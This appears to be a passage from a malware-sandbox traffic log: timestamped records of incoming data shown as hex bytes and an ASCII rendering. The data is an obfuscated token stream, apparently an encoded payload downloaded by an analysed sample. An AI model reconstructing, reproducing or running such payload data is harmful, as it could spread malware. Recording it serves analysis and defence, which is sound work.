2021-10-29 15:55:36 UTC 2319 IN Data Raw: 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 51 20 78 20 59 45 20 78 20 74 6f 20 78 
20 59 6f 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 59 74 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74 78 20 78 20 4b 74 
20 78 20 74 6f 20 78 20 6b 59 20 78 20 6b 4f 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 
4b 20 78 20 74 59 20 78 20 51 74 20 78 20 6b 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 78 20 78 20 
4f 4f 51 20 78 20 74 78 20 78 20 4f 78 6b 20 78 20 51 78 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 74 45 20 78 20 4f 6f 
6f 20 78 20 4b 74 20 78 20 59 6f 20 78 20 74 6f 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 
52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 45 20 78 
Data Ascii:  OOO x RY x RY x tO x kQ x YE x to x Yo x Oxk x tk x Yt x tE x Oxk x tx x Kt x to x kY x kO x Qt x Oxt x RR x 
ko x YK x tY x Qt x kx x RY x RY x Rt x tx x OOQ x tx x Oxk x Qx x Oxx x RY x tE x Ooo x Kt x Yo x to x tO x RY x RY x 
OxE x RY x RY x tQ x OxE x

2021-10-29 15:55:36 UTC 2335 IN Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 52 74 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 
20 4b 74 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 51 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 6b 4b 
20 78 20 4b 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 4f 20 78 20 4f 4f 45 20 78 20 4f 78 59 20 78 20 
4f 4f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 74 20 78 20 4b 6b 20 78 20 74 4b 20 78 20 52 52 20 78 
20 52 52 20 78 20 6b 4f 20 78 20 59 4b 20 78 20 74 78 20 78 20 6b 51 20 78 20 4f 6f 78 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 52 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 4f 6f 78 20 78 20 6b 59 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 20 4f 
78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 
Data Ascii:  RY x RY x Rk x Rt x RQ x RY x Rk x Kt x Oxx x Rt x kO x RQ x OOO x OoO x kK x KE x kO x RY x RR x OOO 
x OOE x OxY x OOo x RY x RY x kx x Yt x Kk x tK x RR x RR x kO x YK x tx x kQ x Oox x RY x RY x RR x kO x Kt x Oox 
x kY x Kk x OOQ x Oxt x RY x RY x OOQ

2021-10-29 15:55:36 UTC 2351 IN Data Raw: 78 20 4f 78 4f 20 78 20 4f 6f 6f 20 78 20 6b 51 20 78 20 4f 6f 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 
20 78 20 59 4b 20 78 20 74 51 20 78 20 52 51 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 
74 4b 20 78 20 6b 6f 20 78 20 4f 78 6f 20 78 20 52 74 20 78 20 74 6b 20 78 20 6b 6f 20 78 20 4f 78 4f 20 78 20 4f 78 4b 
20 78 20 6b 4f 20 78 20 4f 78 52 20 78 20 51 78 20 78 20 59 4f 20 78 20 4f 4f 4f 20 78 20 59 74 20 78 20 4b 74 20 78 20 
4b 74 20 78 20 4b 74 20 78 20 4f 6f 78 20 78 20 4b 6b 20 78 20 6b 6b 20 78 20 4b 6b 20 78 20 59 45 20 78 20 74 74 20 
78 20 4f 4f 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 4b 20 78 20 59 74 20 78 20 74 6f 20 78 20 6b 
4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 6b 
Data Ascii: x OxO x Ooo x kQ x OoO x Kk x RY x RY x YK x tQ x RQ x OxQ x RY x RY x Rt x tK x ko x Oxo x Rt x tk x ko 
x OxO x OxK x kO x OxR x Qx x YO x OOO x Yt x Kt x Kt x Kt x Oox x Kk x kk x Kk x YE x tt x OOR x RY x RY x tQ x OxK 
x Yt x to x kO x RY x RY x kt x k

2021-10-29 15:55:36 UTC 2367 IN Data Raw: 52 51 20 78 20 6b 78 20 78 20 4b 74 20 78 20 6b 6b 20 78 20 74 74 20 78 20 4b 45 20 78 20 59 78 20 78 20 
74 4b 20 78 20 6b 6f 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 6b 6f 20 78 20 6b 52 20 78 20 6b 74 20 78 20 
74 6b 20 78 20 4f 4f 78 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 
78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 52 
6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 59 4b 20 78 20 6b 78 20 78 2
0 4f 4f 4f 20 78 20 74 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 6b 20 78 20 4f 6f 78 20 78 20 52 59 20 
78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 45 20 78 20 4b 74 
Data Ascii: RQ x kx x Kt x kk x tt x KE x Yx x tK x ko x Rt x kO x kO x ko x kR x kt x tk x OOx x kQ x RY x Rt x RY x RY x 
Rk x OOO x OOK x RR x Kk x RY x RY x tx x Rk x Kt x Oxx x Rt x kO x kQ x YK x kx x OOO x tR x RY x RY x Rt x Rk x 
Oox x RY x Oox x tx x OxE x Kt
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2021-10-29 15:55:36 UTC 2383 IN Data Raw: 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 
51 20 78 20 6b 78 20 78 20 59 74 20 78 20 4b 51 20 78 20 59 74 20 78 20 74 74 20 78 20 4f 78 78 20 78 20 74 78 20 78 
20 4b 74 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 
78 20 74 78 20 78 20 6b 6f 20 78 20 6b 4b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 2
0 78 20 6b 6f 20 78 20 4f 78 6f 20 78 20 4f 6f 78 20 78 20 4f 78 4f 20 78 20 4f 6f 4f 20 78 20 51 51 20 78 20 74 6b 20 78 
20 6b 52 20 78 20 4f 78 59 20 78 20 4b 45 20 78 20 4f 6f 78 20 78 20 6b 6f 20 78 20 6b 59 20 78 20 4b 51 20 78 20 51 74 
20 78 20 74 6b 20 78 20 4f 78 52 20 78 20 59 52 20 78 20 4f 6f 
Data Ascii: Q x RY x RY x OxK x QQ x RR x KQ x RQ x kx x Yt x KQ x Yt x tt x Oxx x tx x Kt x RY x RQ x RY x RY x RY x 
Rk x Kt x tx x ko x kK x RY x kO x RY x Rt x tR x ko x Oxo x Oox x OxO x OoO x QQ x tk x kR x OxY x KE x Oox x ko x kY 
x KQ x Qt x tk x OxR x YR x Oo

2021-10-29 15:55:36 UTC 2399 IN Data Raw: 52 52 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 6f 6f 20 78 20 
52 6b 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20 52 6b 20 78 
20 4b 45 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 4f 4f 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 74 4f 20 78 20 
52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 51 20 78 20 52 51 20 78 20 74 45 20 78 
20 6b 6b 20 78 20 59 78 20 78 20 4f 78 6f 20 78 20 4f 78 45 20 78 20 4b 51 20 78 20 4f 4f 4f 20 78 20 4b 6b 20 78 20 74 
74 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 
Data Ascii: RR x RY x Qx x kO x Qt x tK x Ooo x Rk x kO x RY x Rt x tk x OxK x kO x Rk x KE x Kt x Kt x Yt x OOO x Kt x 
OOQ x RY x RY x RY x tx x Rk x OOO x OOQ x tO x RQ x RY x RY x tE x kx x RQ x RQ x tE x kk x Yx x Oxo x OxE x KQ 
x OOO x Kk x tt x OxK x RY x RY x 

2021-10-29 15:55:36 UTC 2415 IN Data Raw: 78 20 78 20 59 52 20 78 20 59 59 20 78 20 6b 6b 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 4f 78 
78 20 78 20 52 52 20 78 20 52 52 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 59 52 20 78 20 51 51 20 78 20 74 45 20 78 
20 74 51 20 78 20 59 52 20 78 20 51 78 20 78 20 59 52 20 78 20 59 52 20 78 20 52 6b 20 78 20 6b 78 20 78 20 52 59 20 
78 20 6b 6b 20 78 20 4b 51 20 78 20 59 45 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 4f 78 45 20 78 20 6b 4f 20 78 20 52 
59 20 78 20 4f 4f 51 20 78 20 4f 78 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 4f 6f 4f 20 78 20 6b 4f 20 
78 20 52 74 20 78 20 52 59 20 78 20 74 45 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 45 20 78 20 59 78 20 78 20 6b 
4f 20 78 20 74 45 20 78 20 52 52 20 78 20 52 59 20 78 20 52 
Data Ascii: x x YR x YY x kk x Rt x kO x kO x Oxx x RR x RR x RY x OxE x YR x QQ x tE x tQ x YR x Qx x YR x YR x Rk x 
kx x RY x kk x KQ x YE x Qk x OOQ x OxE x kO x RY x OOQ x OxO x RY x Rk x OxE x OoO x kO x Rt x RY x tE x OOY x 
tK x OxE x Yx x kO x tE x RR x RY x R

2021-10-29 15:55:36 UTC 2431 IN Data Raw: 6b 20 78 20 59 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 6b 59 20 78 20 6b 78 20 78 20 4f 78 4b 20 78 20 51 
51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 52 6b 20 78 20 
6b 45 20 78 20 4f 6f 6f 20 78 20 4b 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 6f 20 78 20 59 78 20 78
20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 74 52 20 78 20 4f 78 78 20 78 20 52 52 20 78 20 6b 4b 20 78 20 4f 4f 4b 20 78 20 52 
6b 20 78 20 52 6b 20 78 20 4f 4f 52 20 78 20 74 78 20 78 20 52 51 20 78 20 52 59 20 78 20 4b 45 20 78 20 52 51 20 78 
20 4f 4f 4b 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 52 20 
78 20 52 52 20 78 20 74 45 20 78 20 4f 4f 59 20 78 20 52 
Data Ascii: k x Yt x Rk x RY x kY x kx x OxK x QQ x kO x RY x RY x RY x Rt x tR x Rk x kE x Ooo x KE x kO x RY x RY x 
Ooo x Yx x Ooo x OOk x tR x Oxx x RR x kK x OOK x Rk x Rk x OOR x tx x RQ x RY x KE x RQ x OOK x kO x RY x RY x 
RY x tE x kx x RR x RR x tE x OOY x R

2021-10-29 15:55:36 UTC 2447 IN Data Raw: 20 52 59 20 78 20 6b 52 20 78 20 4f 4f 4f 20 78 20 4f 4f 6b 20 78 20 4f 6f 78 20 78 20 4f 78 45 20 78 20 59 59 
20 78 20 59 59 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 74 45 20 78 20 4f 78 6b 20 78 20 74 4f 20 78 20 6b 78 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 6b 78 20 78 20 6b 59 20 
78 20 74 45 20 78 20 4f 4f 6b 20 78 20 74 4f 20 78 20 59 4b 20 78 20 74 52 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 74 20 78 20 6b 4f 20 78 20 74 45 20 78 20 52 59 20 78 20 
52 59 20 78 20 74 78 20 78 20 59 59 20 78 20 52 6b 20 78 20 4f 78 59 20 78 20 59 6f 20 78 20 51 74 20 78 20 4f 78 45 20 
78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 
Data Ascii:  RY x kR x OOO x OOk x Oox x OxE x YY x YY x Oxt x RY x OxE x RY x RY x RY x tE x Oxk x tO x kx x to x 
kO x kx x kY x tE x OOk x tO x YK x tR x kO x kQ x RY x RY x Rk x OOO x OOt x kO x tE x RY x RY x tx x YY x Rk x OxY 
x Yo x Qt x OxE x RY x OxE x RY x R

2021-10-29 15:55:36 UTC 2463 IN Data Raw: 6b 59 20 78 20 6b 78 20 78 20 4f 78 59 20 78 20 59 6f 20 78 20 59 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 
4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 59 52 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 59 
20 78 20 4b 6b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 52 51 20 78 20 74 51 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 4b 
74 20 78 20 59 4f 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 4f 78 59 20 78 20 4f 6f 78 20 78 20 74 6b 20 78 20 6b 4f 20 
78 20 4f 78 59 20 78 20 59 52 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 52 51 20 78 20 4f 78 6b 20 78 20 52 6b 20 78 20 
4b 74 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 6b 4f 20 78 20 74 74 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 51 6b 20 
78 20 4f 4f 4f 20 78 20 4f 78 4f 20 78 20 4b 74 20 78 20 59 
Data Ascii: kY x kx x OxY x Yo x YY x kY x RY x OxE x RY x RY x Qt x YR x RY x kY x OxY x Kk x kO x RR x RQ x tQ x 
OOY x tY x Kt x YO x Qx x OxE x OxY x Oox x tk x kO x OxY x YR x OOk x Kt x RQ x Oxk x Rk x Kt x Oxx x Rt x kO x tt x 
OxY x YR x Qk x OOO x OxO x Kt x Y

2021-10-29 15:55:36 UTC 2479 IN Data Raw: 4f 4f 4f 20 78 20 74 74 20 78 20 74 6b 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 
4f 4f 59 20 78 20 74 78 20 78 20 51 74 20 78 20 74 4f 20 78 20 4f 78 52 20 78 20 6b 45 20 78 20 6b 4f 20 78 20 52 59 20 
78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 51 78 20 78 20 4f 
4f 6b 20 78 20 6b 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 4f 4f 59 20 78 20 74 6f 20 78 20 4f 78 59 20 
78 20 59 52 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 59 20 78 20 52 74 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 4f 78 52 
20 78 20 51 6b 20 78 20 6b 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 
59 4b 20 78 20 74 4f 20 78 20 52 6b 20 78 20 4b 6b 20 78 
Data Ascii: OOO x tt x tk x tK x RY x RY x tQ x OOY x tx x Qt x tO x OxR x kE x kO x RY x Rk x Kt x Oxx x kO x OxR x 
OOO x Qx x OOk x kk x Kt x Kt x Yo x OOY x to x OxY x YR x Kt x Kt x kY x Rt x ko x kO x OxR x Qk x kY x RY x Kt x 
OOk x Kt x Kt x YK x tO x Rk x Kk x

2021-10-29 15:55:36 UTC 2495 IN Data Raw: 20 78 20 4f 78 74 20 78 20 4f 4f 6b 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 
45 20 78 20 4f 78 51 20 78 20 51 51 20 78 20 74 4b 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 6b 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 74 20 78 20 74 4b 20 78 20 4f 4f 78 20 78 20 52 74 20 78 20 6b 45 20 78 20 4f 4f 59 20 78 20 74 
78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 4f 78 74 20 
78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 4f 78 51 20 78 20 51 
51 20 78 20 74 4b 20 78 20 74 52 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 
4f 4f 4f 20 78 20 74 4b 20 78 20 59 45 20 78 20 51 6b 20 78 20 
Data Ascii:  x Oxt x OOk x RR x kO x RY x RY x tE x OxQ x QQ x tK x tR x OxE x kY x RY x RY x Rt x tK x OOx x Rt x kE 
x OOY x tx x RY x RY x RY x OxY x Qx x OOQ x Oxt x OOY x RR x kO x RY x RY x tE x OxQ x QQ x tK x tR x kO x kY x 
RY x RY x Rk x OOO x tK x YE x Qk x 

Timestamp
kBytes
transferred Direction Data
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2021-10-29 15:55:36 UTC 2511 IN Data Raw: 20 78 20 74 78 20 78 20 59 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 6b 20 78 20 74 6f 20 78 20 6b 6f 20 78 20 4f 78 6f 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 6b 59 20 78 20 6b 59 20 78 20 74 45 20 78 20 59 4b 20 
78 20 52 6b 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 74 78 20 78 20 4f 4f 51 
20 78 20 74 6f 20 78 20 6b 4f 20 78 20 51 74 20 78 20 51 74 20 78 20 74 45 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 6b 
4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 6b 6b 20 78 20 
74 51 20 78 20 59 52 20 78 20 74 6b 20 78 20 4b 6b 20 78 20 52 
Data Ascii:  x tx x YY x RY x RQ x RY x RY x RY x Rk x to x ko x Oxo x OxE x Rt x RY x RY x RY x RY x OxY x kY x kY x 
tE x YK x Rk x YO x Kt x Kt x Kt x KE x tx x OOQ x to x kO x Qt x Qt x tE x OxR x kQ x kO x RY x Rk x Kt x tk x OOk x Kt x 
kk x tQ x YR x tk x Kk x R

2021-10-29 15:55:36 UTC 2515 IN Data Raw: 20 59 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 59 78 20 78 20 74 78 20 78 20 59 74 20 78 
20 6b 78 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 52 
20 78 20 4f 4f 4b 20 78 20 4f 4f 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 59 78 20 78 20 74 78 20 78 20 
59 74 20 78 20 6b 78 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 52 20 78 20 6b 6b 20 78 
20 59 4b 20 78 20 74 74 20 78 20 51 51 20 78 20 4f 78 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 2
0 78 20 6b 6f 20 78 20 74 78 20 78 20 59 6f 20 78 20 6b 74 20 78 20 6b 59 20 78 20 74 78 20 78 20 4f 78 6f 20 78 20 4f 4f 
4f 20 78 20 6b 51 20 78 20 52 52 20 78 20 59 52 20 78 20 52 59 
Data Ascii:  YR x RY x RY x tE x Yx x tx x Yt x kx x YO x Kt x Kt x KQ x Rk x OOO x OxR x OOK x OOx x Kt x Kt x Yo x 
Yx x tx x Yt x kx x YO x Kt x Kt x KQ x RR x kk x YK x tt x QQ x Oxo x RY x RY x Rt x tk x ko x tx x Yo x kt x kY x tx x Oxo 
x OOO x kQ x RR x YR x RY

2021-10-29 15:55:36 UTC 2531 IN Data Raw: 6b 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 74 45 20 78 20 4b 51 20 78 20 74 78 20 78 20 59 78 20 78 20 74 78 
20 78 20 52 74 20 78 20 74 6b 20 78 20 6b 6f 20 78 20 4f 78 4f 20 78 20 52 52 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 
4f 20 78 20 6b 6b 20 78 20 4f 4f 51 20 78 20 59 4b 20 78 20 74 59 20 78 20 6b 4b 20 78 20 59 45 20 78 20 4b 74 20 78 20 
4b 74 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4f 6f 78 20 78 20 52 52 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 4b 74 20 
78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 59 78 20 78 20 74 78 20 78 20 4f 6f 
4f 20 78 20 4f 78 6f 20 78 20 59 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 74 6b 20 78 20 6b 4f 20 78 20 
4f 78 59 20 78 20 74 4b 20 78 20 59 4f 20 78 20 74 45 20 
Data Ascii: k x kO x kY x tE x KQ x tx x Yx x tx x Rt x tk x ko x OxO x RR x kO x Kt x YO x kk x OOQ x YK x tY x kK x YE x 
Kt x Kt x KE x Rk x Oox x RR x ko x OOO x Kt x OxE x RY x RY x RY x tE x Yx x tx x OoO x Oxo x YY x Kt x Kt x KQ x tk x 
kO x OxY x tK x YO x tE 

2021-10-29 15:55:36 UTC 2547 IN Data Raw: 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 
74 20 78 20 74 45 20 78 20 4f 4f 59 20 78 20 4b 51 20 78 20 4b 51 20 78 20 74 74 20 78 20 52 52 20 78 20 52 59 20 78 
20 52 59 20 78 20 74 4f 20 78 20 4f 78 4b 20 78 20 59 6f 20 78 20 59 78 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 
20 78 20 6b 52 20 78 20 59 4f 20 78 20 6b 4f 20 78 20 74 78 20 78 20 4b 74 20 78 20 4b 51 20 78 20 6b 6b 20 78 20 59 
52 20 78 20 59 4b 20 78 20 4f 4f 51 20 78 20 74 52 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 
78 20 74 78 20 78 20 4f 4f 6b 20 78 20 74 6f 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 4b 51 
20 78 20 74 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 52 6b 
Data Ascii: x Oxo x Kt x Kt x Ooo x Oxk x Oxx x Kt x tE x OOY x KQ x KQ x tt x RR x RY x RY x tO x OxK x Yo x Yx x Oxt 
x RY x RY x kR x YO x kO x tx x Kt x KQ x kk x YR x YK x OOQ x tR x Kt x KQ x OOO x OxQ x tx x OOk x to x YO x Kt x 
Kt x Yo x KQ x tx x Kt x tx x Rk

2021-10-29 15:55:36 UTC 2563 IN Data Raw: 51 20 78 20 59 74 20 78 20 6b 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 74 20 78 20 74 
78 20 78 20 4f 78 78 20 78 20 4f 4f 4f 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 52 59 20 78 
20 74 51 20 78 20 4f 4f 52 20 78 20 4f 78 4b 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 4b 6b 20 78 20 4b 45 20 78 20 52 
59 20 78 20 74 6f 20 78 20 6b 59 20 78 20 74 45 20 78 20 6b 52 20 78 20 59 78 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 
20 59 78 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 59 4b 20 78 20 4b 51 20 78 20 74 6b 20 78 20 4f 78 51 
20 78 20 6b 78 20 78 20 6b 45 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 6f 20 78 20 6b 52 20 78 20 4f 
4f 45 20 78 20 52 6b 20 78 20 74 4f 20 78 20 4f 78 52 20 78 
Data Ascii: Q x Yt x kx x RY x RR x KQ x Rt x tx x Oxx x OOO x YO x tk x OOR x RY x RY x tQ x OOR x OxK x Qx x OxR 
x Kk x KE x RY x to x kY x tE x kR x Yx x OxR x OOO x Yx x Kk x RY x RY x YK x KQ x tk x OxQ x kx x kE x tE x RY x 
Oxx x ko x kR x OOE x Rk x tO x OxR x

2021-10-29 15:55:36 UTC 2579 IN Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 

2021-10-29 15:55:36 UTC 2595 IN Data Raw: 74 45 20 78 20 52 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 
74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 5
9 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 
52 59 20 78 20 52 51 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 74 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4b 6b 
20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 
Data Ascii: tE x RY x Qk x RY x RR x Oxk x RY x to x tt x RY x RY x RY x RY x RY x RY x Rt x RY x RY x tR x RY x RY x 
RY x RY x RY x RY x RY x tK x kO x RR x Oxt x RY x Rt x RY x RY x tE x RY x RY x Oxk x RY x RQ x Oxt x RY x tk x 
OxE x RY x Kk x RY x to x OxE x RY x

2021-10-29 15:55:36 UTC 2611 IN Data Raw: 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 52 
52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 
52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 
